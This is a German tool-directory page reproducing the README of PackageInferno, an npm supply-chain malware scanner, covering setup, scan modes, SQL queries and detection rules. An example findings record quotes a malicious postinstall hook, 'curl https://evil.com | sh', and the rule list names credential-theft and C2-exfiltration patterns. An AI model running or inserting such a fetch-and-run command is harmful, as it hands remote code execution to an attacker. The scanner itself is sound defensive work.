Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Package-Inferno — Ein öffentlicher Paketscanner für die Community | Kitploit
Tools/GitHubGitHub/mhaggis/package-inferno
Statische AnalyseSchwachstellenscannerContainer-SicherheitMalware-AnalyseCloud-SicherheitDevSecOpsSecret-ErkennungBedrohungsanalyseLieferkettensicherheit
GitHubmhaggis/package-inferno

Package-Inferno

Ein öffentlicher Paketscanner für die Community

133vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

PackageInferno

PackageInferno-Logo

Blitzschnell einfacher, Docker-zentrierter npm-Lieferkettenscanner. Eine Compose-Datei führt Folgendes aus:

  • Enumerator → erstellt die Warteschlange der Pakete
  • Fetcher → lädt Tarballs herunter (und optional zu S3 hoch)
  • Analyzer → statische Analyse + optional YARA
  • Postgres → lokale DB für Ergebnisse
  • Streamlit Dashboard → Ergebnisse visualisieren auf http://localhost:8501

Dies ist die Container-Only-Edition. Das Projekt kann mithilfe von EC2, SQS und RDS skalierbar aufgebaut werden. Der größte Teil davon ist im Toolset dafür vorbereitet.


Was Sie erhalten

  • Ende-zu-Ende-Pipeline in Docker (keine Installationen auf dem Host außer Docker)
  • Konfigurierbare Regeln über scan.yml (Allowlists, Schwellenwerte, YARA)
  • Lokales Postgres-Schema + Scanverlauf (scan_runs) einsatzbereit
  • Optionale S3-Uploads für Tarballs und Ergebnisse (Anmeldeinformationen über ~/.aws)
  • Streamlit-Dashboard: Suche, Drill-down und Analysen

Inhalt

  • docker-compose.yml – Dienste: db, enumerator, fetcher, analyzer, dashboard, init-db
  • enumerator/ – Node-Worker, der die NDJSON-Warteschlange erstellt
  • fetcher/ – Node-Worker, der Tarballs herunterlädt (+ Upload zu S3, falls aktiviert)
  • analyzer/ – Python-Statik-Analyzer (+ optionales YARA inline)
  • dashboard/ – Streamlit-App (Port 8501)
  • infra/migrations.sql – Kern-DB-Schema (packages, versions, findings, scores, indexes)
  • infra/20251106_scan_runs.sql – Scanverlaufstabelle
  • scan.yml – Analysekonfiguration (Regeln, Bewertung, Allowlists, YARA)
  • scripts/run_pipeline.sh – enumerate → fetch → analyze ausführen
  • scripts/init_db.sh – DB-Schema booten
  • scripts/test_setup.sh – automatische Setup-Validierung
  • – detaillierte Scanstrategien und Beispiele

Schnellstart (lokal)

Voraussetzungen: Docker Desktop (oder Engine) mit Compose v2.

Einzeilige Installation

root@kitploit:~
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash

Dies klont das Repository in ~/package-inferno und gibt Ihnen Anweisungen für den Start.

Option A: Vorgefertigte Images verwenden (am schnellsten)

Vorgefertigte Container aus der GitHub Container Registry ziehen und ausführen:

root@kitploit:~
# Repository klonen (für Konfigurationsdateien und Skripte)
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno

# Mit vorgefertigten Images ausführen
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer

Verfügbare Images:

  • ghcr.io/mhaggis/package-inferno/enumerator:main
  • ghcr.io/mhaggis/package-inferno/fetcher:main
  • ghcr.io/mhaggis/package-inferno/analyzer:main

Option B: Aus dem Quellcode erstellen

Automatisierte Setup-Validierung

Führen Sie das Testskript aus, um Ihre Installation zu validieren:

root@kitploit:~
./scripts/test_setup.sh

Dies wird:

  • ✓ Docker und Docker Compose prüfen
  • ✓ Datenbank starten und initialisieren
  • ✓ Testscan durchführen (2 Pakete)
  • ✓ Überprüfen, ob Ergebnisse korrekt gespeichert sind

Manuelles Setup

  1. Postgres starten und Schema initialisieren:
root@kitploit:~
docker compose up -d db
./scripts/init_db.sh
  1. Pipeline ausführen:
root@kitploit:~
./scripts/run_pipeline.sh
  1. Dashboard starten:
root@kitploit:~
docker compose up -d dashboard
# öffnen Sie http://localhost:8501

Ergebnisse landen unter ./out/findings/*.findings.json und in der Tabelle findings, wenn die DB aktiviert ist.


Scanmodi

PackageInferno unterstützt mehrere Scanstrategien, abhängig von Ihren Zielen:

1. Bestimmte Pakete scannen (für Tests empfohlen)

Zielen Sie auf bestimmte Pakete ab, die Sie analysieren möchten:

root@kitploit:~
# Einzelner Befehl mit Seeds
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh

# Oder aus einer Datei
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh

Wie ich anfangs getestet habe: Verwendet SEEDS="is-odd,is-even" zur schnellen Validierung.

2. Aus dem npm-Registry scannen (_all_docs)

Pakete seitenweise aus dem npm-Registry scannen:

root@kitploit:~
# Vorherige Läufe bereinigen
rm -rf downloads/* out/*

# 2 Seiten mit je 10 Paketen scannen (20 Pakete)
export MAX_CHUNKS=2        # Anzahl der Seiten
export CHUNK_LIMIT=10      # Pakete pro Seite
unset SEEDS                # Wichtig: Seeds-Modus deaktivieren

# Einzelne Schritte für bessere Übersicht ausführen
docker compose run --rm enumerator  # Entdeckt und reiht ein
docker compose run --rm fetcher     # Lädt Tarballs herunter
docker compose run --rm analyzer    # Scannt nach Bedrohungen

Beispielausgabe:

root@kitploit:~
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)

3. Kontinuierliche Überwachung (unbegrenzter Scan)

Das gesamte npm-Registry scannen:

root@kitploit:~
export MAX_CHUNKS=0        # 0 = unbegrenzt
export CHUNK_LIMIT=100     # Größere Stapel für Effizienz
./scripts/run_pipeline.sh

Warnung: Dies wird Stunden/Tage laufen und Hunderttausende von Paketen scannen. Überwachen Sie den Festplattenspeicher und die Datenbankgröße.

4. Unterbrochene Scans fortsetzen

Der Enumerator speichert den Zustand in ./out/enumerator_state.json mit Cursorposition:

root@kitploit:~
{
  "last_seq": "0",
  "last_startkey": "package-name",
  "last_run": "2025-11-23T19:24:49.123Z",
  "last_processed": 22,
  "last_new": 22
}

Führen Sie einfach die Pipeline erneut aus, und sie wird ab dem letzten Cursor fortgesetzt:

root@kitploit:~
./scripts/run_pipeline.sh  # Wird automatisch fortgesetzt

Um einen neuen Scan zu erzwingen:

root@kitploit:~
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh

Beispiel-Scannergebnisse

Von einem 2-seitigen Scan von 22 Paketen zeigt PackageInferno Folgendes:

root@kitploit:~
-- Top suspicious packages by score
SELECT p.name, s.score, s.label, COUNT(f.id) as findings 
FROM packages p 
JOIN versions v ON p.id = v.package_id 
JOIN scores s ON v.id = s.version_id 
LEFT JOIN findings f ON v.id = f.version_id 
GROUP BY p.name, s.score, s.label 
ORDER BY s.score DESC;

-- Results:
   name                | score | label      | findings
-----------------------+-------+------------+----------
 rendition             | 606   | malicious  | 153
 vs-deploy             | 454   | malicious  | 119
 --123hoodmane-pyodide | 213   | malicious  | 46

Was machte rendition so verdächtig?

  • 57 × url_outside_allowlist – Nicht in der Allowlist enthaltene Domains
  • 46 × suspicious_pattern – Shell/eval-Muster
  • 12 × advanced_obfuscation – Hex-Kodierung, XOR, String-Arrays
  • 6 × big_base64_blob – Große kodierte Payloads
  • 18 × url_in_code – Eingebettete URLs

Das Bewertungssystem (konfiguriert in scan.yml) aggregiert diese Ergebnisse, um einen Risikoscore und ein Label (clean, suspicious oder malicious) zu erzeugen.


Ergebnisse erkunden

Über das Dashboard (empfohlen)

Öffnen Sie http://localhost:8501 nach dem Ausführen von docker compose up -d dashboard

Features:

  • 📊 Übersichts-Tab: Zusammenfassungsstatistiken, Scoreverteilungsdiagramme
  • 🔍 Such-Tab: Pakete nach Name finden, nach Risikolabel filtern
  • ⚠️ Hochrisiko-Tab: Top-Schadpakete mit Drill-down
  • 🎯 C2-Analyse: Pakete mit bekannten Exfiltrationsendpunkten
  • 📈 Analytik-Tab: Trends, häufige Regeln, zeitliche Analyse

Über Datenbankabfragen

Direkter SQL-Zugriff für benutzerdefinierte Analysen:

root@kitploit:~
# Connect to database
docker exec -it pi-postgres psql -U piuser -d packageinferno

Nützliche Abfragen:

root@kitploit:~
-- Packages with credential theft attempts
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;

-- All C2/webhook destinations found
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';

-- Typosquatting attempts
SELECT 
  p.name,
  f.details->>'target_package' as impersonating,
  f.details->>'similarity' as similarity_pct,
  f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;

-- Packages with native binaries
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';

Über JSON-Dateien

Ergebnisse werden auch als strukturiertes JSON in ./out/findings/ gespeichert:

root@kitploit:~
# View findings for a specific package
cat out/findings/[email protected] | jq .

# Count findings by severity
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c

# Extract all C2 URLs found
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json

Optional: S3-Integration (Tarballs + Ergebnisse)

Wenn Sie Artefakte in S3 haben möchten:

  • Erstellen Sie Buckets (wählen Sie eigene Namen):
    • package-inferno-tarballs (rohe npm-Tarballs)
    • package-inferno-findings (Analyzer-Ausgaben)
  • Stellen Sie sicher, dass Ihr ~/.aws gültige Anmeldeinformationen enthält (profil- oder umgebungsbasiert).
  • Exportieren Sie Umgebungsvariablen vor dem Ausführen der Pipeline:
root@kitploit:~
export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default   # optional; oder auf Umgebungs-Creds verlassen

Der Compose mountet ~/.aws in fetcher und analyzer. Wenn LOCAL_ONLY=false, lädt der fetcher Tarballs in S3_TARBALLS hoch. Wenn S3_FINDINGS gesetzt ist, lädt der analyzer das Findings-JSON nach dem lokalen Schreiben hoch.

Beispiel für eine minimale IAM-Richtlinie (an den Benutzer/die Rolle anhängen, die Sie verwenden):

root@kitploit:~
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "S3Access",
      "Effect": "Allow",
      "Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
      "Resource": [
        "arn:aws:s3:::package-inferno-tarballs",
        "arn:aws:s3:::package-inferno-tarballs/*",
        "arn:aws:s3:::package-inferno-findings",
        "arn:aws:s3:::package-inferno-findings/*"
      ]
    }
  ]
}

Konfiguration

Die wichtigsten Einstellungen befinden sich in scan.yml. Highlights:

  • analysis.allow_domains – Domains, die keinen „outside allowlist“-Fehler auslösen
  • analysis.allowlist.build_tools – Regexes für harmlose Build-Schritte
  • analysis.yara.* – Inline-YARA aktivieren (standardmäßig an), Regelpfad, Größen-/Zeitbeschränkungen
  • scoring.rule_weights und scoring.thresholds – „suspicious/malicious“ anpassen

Container-Umgebungen, die Sie setzen können:

  • Enumerator:
    • DAYS (Standard 30), CHUNK_LIMIT (Standard 100), MAX_CHUNKS (Standard 5)
    • SEEDS, SEEDS_FILE – Seed-Paketnamen
    • LOCAL_ONLY=true (Warteschlange in Datei), DB_URL für Deduplizierung gegen DB
  • Fetcher:
    • LOCAL_ONLY=false zum Hochladen von Tarballs in S3
    • S3_TARBALLS, AWS_REGION, AWS_PROFILE
  • Analyzer:
    • MAX_EXTRACT_BYTES=0 für unbegrenzte Extraktion
    • S3_FINDINGS,

Die DB-URL ist für lokales Compose vorkonfiguriert:

root@kitploit:~
postgres://piuser:pipass@db:5432/packageinferno

So funktioniert's (Ablauf)

  1. Enumerator greift auf das npm-Registry zu und schreibt eine NDJSON-Warteschlange in ./out/fetch_queue.ndjson (und kann "queued"-Versionen in die DB upserten).
  2. Fetcher liest die Warteschlange, lädt Tarballs in ./downloads herunter und lädt sie in S3 hoch, falls konfiguriert.
  3. Analyzer scannt Tarballs mit Heuristiken + optional YARA und schreibt strukturiertes Findings-JSON in ./out/findings. Wenn die DB konfiguriert ist, werden Ergebnisse und Scores geupsert.
  4. Dashboard fragt die lokale DB ab, um Statistiken zu visualisieren, Pakete zu durchsuchen und Details zu analysieren.

Komponentendetails

Enumerator (enumerator/src/enumerator.js)

Zweck: Entdeckt zu scannende npm-Pakete und erstellt die Arbeitswarteschlange.

Was es tut:

  • Ruft Paketmetadaten aus dem npm-Registry und dem Replikationsfeed ab
  • Unterstützt mehrere Modi:
    • Seeds-Modus: Scannt bestimmte Pakete über die Umgebungsvariable SEEDS oder SEEDS_FILE
    • Änderungs-Feed: Überwacht den _changes-Endpunkt auf aktuelle Updates
    • Vollständiger Scan: Seitendurchlauf durch den _all_docs-Endpunkt (mit fortsetzbarem Cursor)
  • Dedupliziert gegen die DB, um ein erneutes Scannen bereits analysierter Versionen zu vermeiden
  • Gibt NDJSON-Warteschlange in ./out/fetch_queue.ndjson oder SQS aus

Wichtige Umgebungsvariablen:

  • SEEDS="pkg1,pkg2" - Kommagetrennte Paketnamen zum Scannen
  • SEEDS_FILE - Pfad zu einer Textdatei mit einem Paket pro Zeile
  • MAX_CHUNKS=5 - Seitendurchlauf begrenzen (0 = unbegrenzt)
  • CHUNK_LIMIT=100 - Pakete pro API-Seite
  • DB_URL - Postgres-Verbindung zur Deduplizierung

Beispielverwendung:

root@kitploit:~
# Scan specific packages
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator

# Scan from file
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator

Fetcher (fetcher/src/fetcher.js)

Zweck: Lädt npm-Tarballs aus dem Registry herunter.

Was es tut:

  • Liest die Warteschlange aus ./out/fetch_queue.ndjson (oder SQS)
  • Lädt Tarballs mit Wiederholungslogik und Backoff herunter
  • Überprüft SHA1-Prüfsummen (warnt bei Abweichung)
  • Speichert in ./downloads/ als [email protected]
  • Lädt optional in den S3-Bucket (S3_TARBALLS) hoch
  • Leitet abgeschlossene Aufträge an die Analyzer-Warteschlange weiter (SQS-Modus)

Wichtige Umgebungsvariablen:

  • LOCAL_ONLY=true - S3-Uploads überspringen (nur-lokal-Modus)
  • S3_TARBALLS - S3-Bucket-Name für Tarball-Speicher
  • DOWNLOAD_DIR=./downloads - Lokales Ausgabeverzeichnis
  • MAX_RETRIES=5 - HTTP-Wiederholungsversuche

S3-Schlüsselformat: npm-raw-tarballs/{name}/{version}.tgz


Analyzer (analyzer/src/analyzer.py)

Zweck: Statische Analyse-Engine, die bösartige Muster in Paketen erkennt.

Was es tut:

  • Extrahiert Tarballs mit Sicherheitsprüfungen (Pfad-Traversal, Größenbeschränkungen)
  • Analysiert package.json auf Metadaten und Lifecycle-Hooks
  • Scannt alle Dateien auf verdächtige Muster:
    • Lifecycle-Hooks: Shell-Aufrufe, Downloader in Installationsskripten
    • Netzwerkaktivität: HTTP-Clients, C2-Webhooks (Discord, Telegram usw.)
    • Verschleierung: Hohe Entropie, Base64-Blobs, Hex-Kodierung, XOR
    • Credential-Diebstahl: Zugriff auf Umgebungsvariablen, FS-Schreibvorgänge in sensible Pfade
    • Typosquatting: Levenshtein-Distanz + Unicode-Ersetzungsprüfungen
    • Phishing: Gefälschtes CAPTCHA, Anmeldeformulare, iframe-Einbettungen
    • Binärdateien: Native ausführbare Dateien, WASM, vorgefertigte Fetcher
  • Führt YARA-Regeln (von YARA-Forge heruntergeladen) aus, falls aktiviert
  • Bewertet Ergebnisse mithilfe gewichteter Regeln aus scan.yml
  • Schreibt strukturiertes JSON in ./out/findings/ und führt Upsert in die DB durch

Erkennungsregeln (siehe analyzer/src/analyzer.py für die vollständige Liste):

  • lifecycle_script – Riskante Install/Postinstall-Hooks
  • url_outside_allowlist – Netzwerkaufrufe an nicht erlaubte Domains
  • c2_webhook – Bekannte Exfil-Endpunkte (Discord, Slack, Telegram)
  • env_snoop – Zugriff auf AWS-Schlüssel, Tokens, Passwörter
  • writes_outside_pkg – FS-Schreibvorgänge in .ssh, .npmrc, Systemverzeichnisse
  • typosquat_detected – Paketname ähnlich zu bekannten Paketen
  • advanced_obfuscation – Hex, XOR, String-Arrays, Kontrollflussabflachung
  • yara_match – YARA-Regeltreffer (Malware, Exploits, Webshells)
  • phishing_form – Formulare zum Abgreifen von Anmeldeinformationen
  • native_binary_present – PE/ELF/Mach-O ausführbare Dateien

Wichtige Umgebungsvariablen:

  • MAX_EXTRACT_BYTES=0 – Extraktionsgrößenlimit (0 = unbegrenzt)
  • SCAN_YML=/app/scan.yml – Pfad zur Konfigurationsdatei
  • DB_URL – Postgres-Verbindung zur Speicherung von Ergebnissen
  • S3_FINDINGS – S3-Bucket für Ergebnisse-Upload

Ausgabeformat (*.findings.json):

root@kitploit:~
{
  "tgz": "/downloads/[email protected]",
  "findings": [
    {
      "rule": "lifecycle_script",
      "severity": "high",
      "details": {
        "key": "postinstall",
        "value": "curl https://evil.com | sh",
        "tags": ["shell_spawn", "downloader"],
        "explanation": "High-risk postinstall hook: shell_spawn, downloader"
      }
    }
  ]
}

Anpassen des Analyzers

Hinzufügen neuer Erkennungsregeln

1. Musterbasierte Erkennung (hinzufügen in analyzer/src/analyzer.py):

root@kitploit:~
# Define regex pattern
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)

# Add to analyze_file_bytes() function
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
    # ... existing code ...
    
    # Your custom check
    if CUSTOM_PATTERN_RE.search(b):
        out.append({
            'rule': 'custom_dangerous_function',
            'severity': 'high',
            'details': {
                'path': str(path),
                'explanation': 'Detected dangerous-function call'
            }
        })
    
    return out

2. Bewertungsgewichte hinzufügen (scan.yml):

root@kitploit:~
scoring:
  rule_weights:
    custom_dangerous_function: 6  # Your new rule
    # ... existing rules ...
  thresholds:
    suspicious: 7
    malicious: 12

3. Bewertungsfunktion aktualisieren (analyzer/src/analyzer.py):

root@kitploit:~
def score_findings(findings, scoring):
    weights = scoring.get('rule_weights', {})
    score = 0
    for f in findings:
        rule = f['rule']
        w = 0
        # ... existing rules ...
        elif rule == 'custom_dangerous_function':
            w = weights.get('custom_dangerous_function', 6)
        score += int(w)
    # ... rest of function ...

Hinzufügen benutzerdefinierter YARA-Regeln

1. Benutzerdefinierte Regeldatei erstellen (yara-rules/custom.yar):

root@kitploit:~
rule CustomMalware {
    meta:
        description = "Detects custom threat pattern"
        severity = "high"
    strings:
        $s1 = "malicious_string" ascii
        $s2 = /evil_regex_[0-9]{4}/
    condition:
        any of them
}

2. scan.yml aktualisieren:

root@kitploit:~
analysis:
  yara:
    enabled: true
    rules_path: yara-rules/custom.yar  # Point to your rules
    max_file_size_mb: 10
    timeout_seconds: 30

3. Benutzerdefinierte Regeln in docker-compose.yml mounten:

root@kitploit:~
analyzer:
  volumes:
    - ./yara-rules:/app/yara-rules:ro

Domain-Allowlist

Vertrauenswürdige Domains in scan.yml hinzufügen, um falsch positive Ergebnisse zu reduzieren:

root@kitploit:~
analysis:
  allow_domains:
    - registry.npmjs.org
    - github.com
    - your-cdn.com  # Add your domain

Harmlose Build-Tools

Erlaube legitime Build-Befehle in der Allowlist:

root@kitploit:~
analysis:
  allowlist:
    build_tools:
      - \bmy-custom-build-tool\b
      - \bmake\s+clean\b

Fehlerbehebung

  • „Datenbankverbindung fehlgeschlagen“: Stellen Sie sicher, dass docker compose up -d db ausgeführt wird, und führen Sie dann ./scripts/init_db.sh erneut aus.
  • „AccessDenied“ beim Hochladen in S3: Überprüfen Sie ~/.aws/credentials, AWS_REGION und die Bucket-Richtlinie/-Berechtigungen.
  • YARA-Zeitüberschreitungen: Verringern Sie die Dateigrößenlimits oder deaktivieren Sie Inline-YARA in scan.yml (analysis.yara.enabled: false).
  • Ratenbegrenzungen von npm: Die Pipeline wiederholt mit Backoff und setzt einen UA; Sie können CHUNK_LIMIT senken oder MAX_CHUNKS schrittweise erhöhen.
Tool herunterladen
SCANNING_GUIDE.md
ModusAnwendungsfallGeschwindigkeitAbdeckungBefehl
Spezifische SeedsBekannte Pakete testen/untersuchenAm schnellstenGezieltSEEDS="pkg1,pkg2"
Kleine StichprobeSetup validieren, BeispielscanSchnell10-100 PaketeMAX_CHUNKS=2 CHUNK_LIMIT=10
Vollständiges RegistryUmfassende LieferkettenprüfungStunden-Tage2M+ PaketeMAX_CHUNKS=0 CHUNK_LIMIT=100
Änderungs-FeedNeue Veröffentlichungen überwachen (automatisch enthalten)EchtzeitAktuelle UpdatesEingebaut
AWS_REGION
  • DB_URL zum Schreiben von Ergebnissen und Scores in Postgres